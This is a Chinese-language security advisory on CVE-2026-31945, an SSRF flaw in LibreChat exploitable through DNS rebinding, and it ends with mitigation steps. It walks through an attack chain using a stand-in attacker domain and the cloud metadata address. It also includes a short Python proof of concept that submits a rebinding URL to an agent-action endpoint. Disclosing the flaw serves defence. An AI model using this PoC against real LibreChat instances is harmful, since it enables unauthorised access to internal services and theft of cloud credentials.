IPBUF安全漏洞报告
English
CVE-2026-31945 CVSS 7.7 高危

CVE-2026-31945 LibreChat服务端请求伪造漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-31945
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

SSRFLibreChat服务端请求伪造CVE-2026-31945DNS重绑定内网渗透

漏洞概述

LibreChat是一款ChatGPT克隆工具,其0.8.2-rc2至0.8.2版本存在严重的服务端请求伪造(SSRF)漏洞。尽管此前有过修复尝试,但补丁仅实施了主机名验证,并未验证DNS解析后的IP地址是否为私有地址。攻击者可利用Agent操作或MCP功能,通过DNS重绑定等方式绕过防护,进而访问内部RAG API或云实例元数据端点等敏感资源。

技术细节

该漏洞源于LibreChat在处理Agent操作或MCP(Model Context Protocol)请求时,对输入URL的验证机制存在设计缺陷。虽然开发团队针对此前报告的SSRF漏洞(GHSA-rgjq-4q58-m3q8)发布了补丁,引入了主机名验证逻辑,试图通过过滤特定域名来阻断内网访问。然而,该修复方案并不完整,它仅停留在对URL字符串中Hostname的检查,而忽视了对最终DNS解析结果的校验。攻击者可以利用这一逻辑漏洞,实施DNS重绑定攻击或使用自控的恶意域名。当服务器解析该域名时,DNS服务器首先返回一个合法的外网IP通过验证,随后在第二次解析或利用TTL过期机制返回内网IP地址(如127.0.0.1、169.254.169.254等)。由于应用层缺乏对目标IP地址是否属于私有网段的判断,请求被成功发送至内部资源。通过利用此漏洞,攻击者能够绕过网络边界防御,探测内网服务,甚至窃取云实例的元数据凭证,对系统安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者注册LibreChat账户,获取低权限用户身份,确认目标使用了存在漏洞的版本(0.8.2-rc2至0.8.2)。
STEP 2
准备
攻击者配置一个恶意DNS服务器,设定特定域名(如attacker.com)在解析时指向内网敏感IP(如127.0.0.1或云元数据IP 169.254.169.254)。
STEP 3
利用
攻击者在LibreChat的Agent操作或MCP功能中,输入包含恶意域名的URL,触发服务端发起HTTP请求。
STEP 4
绕过
LibreChat服务器验证主机名字符串通过后,进行DNS查询,解析到内网IP地址。由于缺乏对解析IP的私有性校验,请求被发送至内部网络。
STEP 5
影响
攻击者成功获取内部RAG API数据或云实例元数据,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-31945: LibreChat SSRF via DNS Rebinding # This script simulates an attacker triggering the SSRF vulnerability. # The attacker controls the DNS resolution of 'malicious-dns.com' to point to an internal IP. target_url = "http://librechat-instance.com/api/agent-action" # Replace with actual target endpoint # Malicious domain that resolves to 127.0.0.1 (localhost) or 169.254.169.254 (Cloud Metadata) # The server validates the hostname but fails to check the resolved IP. internal_target = "http://malicious-dns.com/admin/config" payload = { "action": "fetch_resource", "url": internal_target } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] SSRF Triggered successfully!") print("[+] Server response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

LibreChat 0.8.2-rc2
LibreChat 0.8.2

防御指南

临时缓解措施
建议立即升级LibreChat到0.8.3-rc1或更高版本以彻底修复该漏洞。如果暂时无法升级,应在防火墙或应用网关层面严格限制服务器的出站网络访问,禁止其访问RFC 1918定义的私有网段(如10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)及链路本地地址(如169.254.169.254),并对DNS解析结果进行二次校验,确保目标IP非内网地址。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表